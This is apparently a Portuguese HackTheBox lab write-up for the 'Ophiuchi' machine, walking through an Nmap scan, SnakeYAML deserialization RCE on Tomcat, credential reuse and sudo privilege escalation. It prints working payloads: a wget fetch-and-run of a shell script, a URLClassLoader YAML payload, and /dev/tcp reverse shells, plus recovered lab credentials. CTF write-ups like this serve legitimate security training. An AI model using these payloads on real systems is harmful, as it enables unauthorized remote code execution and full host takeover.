4 minutos
HackTheBox - Ophiuchi
Nesta máquina veremos uma vulnerabilidade de desserialização Yaml. Esta vulnerabilidade permite ao atacante obter acesso ao host através de um RCE (Remote Command Execution). O ‘privesc’ é feito com a obtenção de credenciais válidas após enumerar diretórios e arquivos dos programas e serviços executados no servidor e abusando das permissões de usuário para obter acesso ao host como usuário root.
Informações da Máquina
IP: 10.10.10.227
Sistema Operacional: Linux
Nível de dificuldade: Medium
Varredura e Enumeração
Port Scan
Esta é a saída do Nmap após um scan utilizando os scripts para verificação de versão dos serviços disponíveis e possíveis vulnerabilidades.
# Nmap 7.91 scan initiated Tue Jun 29 18:17:23 2021 as: nmap -vvv -sC -sV -p 22,8080 -Pn -oN details.txt 10.10.10.227
Nmap scan report for 10.10.10.227
Host is up, received user-set (0.24s latency).
Scanned at 2021-06-29 18:17:25 -03 for 17s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpzM/GEYunOwIMB+FyQCnOaYRK1DYv8e0+VI3Zy7LnY157q+3SITcgm98JGS/gXgdHQ4JnkCcXjUb9LaNRxRWO+l43E9v2b2U9roG8QetbBUl5CjJ0KHXeIwNgOcsqfwju8i8GA8sqQCELpJ3zKtKtxeoBo+/o3OnKGzT/Ou8lqPK7ESeh6OWCo15Rx9iOBS40i6zk77QTc4h2jGLOgyTfOuSGTWhUxkhqBLqSaHz80G7HsPSs1BA9zAV8BOx9WmtpMsgDcNG14JAQQd904RCzgw0OaQ0J6szs78Us8Piec0rF/T4b1H3sbUedOdA0QKgGbNojObVrz5VwOw6rqxbs1gZLePXB5ZNjm0cp+Sen8TkRkdUf7Sgw92B//RhSoIakp1u5eOPs/uJ6hyCholUnerl3WK8NPB9f9ICPYq8PbvVMu6zcytV/cCjwxFloWB989iyuqG/lYcdMhGJlAacOFy5TRcTB8c5Qlmtl44J/4dyuCJAhj5SY6TRdcSxhmz0=
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM79V2Ts2us0NxZA7nnN9jor98XRj0hw7QCb+A9U8aEhoYBcrtUqegExaj/yrxjbZ/l0DWw2EkqH4uly451JuMs=
| 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO31s/C33kbuzZl9ohJWVEmLsW9aqObU6ZjlpbOQJt0C
8080/tcp open http syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 29 18:17:42 2021 -- 1 IP address (1 host up) scanned in 19.64 seconds
Observando o resultado confirmamos a existência de duas portas abertas, a 22 (SSH) e a 8080 (Tomcat).
Webserver
Acessando a aplicação web na porta 8080 temos a seguinte página.
A página criada é uma ferramenta de ‘parsing’. Ou seja, desserializa o conteúdo enviado em sintaxe Yaml e o converte no ‘backend’ em Java. Para testar a aplicação foi enviado um conteúdo aleatório na sintaxe Yaml.
O servidor responde com uma mensagem de erro.
A mensagem informa que a “funcionalidade foi desativada devido a razões de segurança”, o que confirma que nesta página está a vulnerabilidade.
Vulnerabilidade
Pesquisando sobre “Yaml exploit” foi encontrado um exploit no github que permite um RCE (Remote Command Execution).
A “desserialização SnakeYAML” consiste em criar um arquivo .jar para que o servidor o execute.
Exploração
O primeiro passo é fazer o clone do projeto na máquina local.
$ git clone https://github.com/artsploit/yaml-payload.git
Alterar o arquivo AwesomeScriptEngineFactory.java, colocando o payload para subir um script em bash.
Runtime.getRuntime().exec("wget http://<ip>:<port>/myshell.sh -O /tmp/myshell.sh");
Runtime.getRuntime().exec("bash /tmp/myshell.sh");
Feita a alteração é necessário ter o OpenJDK instalado para efetuar a compilação do arquivo. No caso de não existir o OpenJDK na máquina do atacante, o seguinte comando faz a instalação.
$ sudo apt install openjdk-11-jdk
Efetuando a compilação do arquivo .java para gerar o .class.
$ javac src/artsploit/AwesomeScriptEngineFactory.java
Gerando o arquivo yaml-payload.jar.
$ jar -cvf yaml-payload.jar -C src/ .
Após a criação do executável .jar é necessário criar o script em bash chamado myshell.sh, que fará o ‘reverse shell’. Este é o seu conteúdo.
#!/bin/sh
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Na máquina local, duas portas foram abertas para receber as conexões: uma para disponibilizar o .jar ao servidor e a outra para enviar o myshell.sh. Este é payload enviado no site para iniciar o processo.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://<ip>:8000/"]
]]
]
O resultado é uma ‘reverse shell’ com o usuário tomcat.
Com acesso ao host foi utilizado o linPEAS para enumerar e obter mais informações sobre a máquina. O resultado mostrou as credenciais do usuário admin no arquivo de configuração de usuários do Tomcat.
admin:whythereisalimit
Com estas credenciais foi feita a movimentação lateral, logando no usuário admin pelo terminal.
$ su - admin
Obtendo a flag do usuário admin.
Escalação de Privilégios
Para escalar privilégio na máquina foi verificada as permissões do usuário admin com o sudo.
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Analisando o diretório do usuário admin foi encontrado um arquivo deploy.sh.
O usuário admin possui permissão para executar o aquivo index.go (feito em Go). Este é o conteúdo do arquivo.
Juntando as partes, o index.go irá executar, com permissões de root, qualquer código malicioso injetado no deploy.sh. A última etapa é inserir um ‘reverse shell’ neste arquivo e executar o index.go com sudo.
Conteúdo injetado no arquivo deploy.sh.
/bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1';
Executando o arquivo index.go.
$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Obtendo a ‘reverse shell’ como usuário root.
Obtendo a flag do usuário root.
Neste ‘writeup’ foi demonstrado como uma vulnerabilidade de desserialização via Web pode comprometer um servidor. Também vimos como uma permissão de execução de binário ou script pode permitir ao atacante o controle total da máquina.
Até a próxima!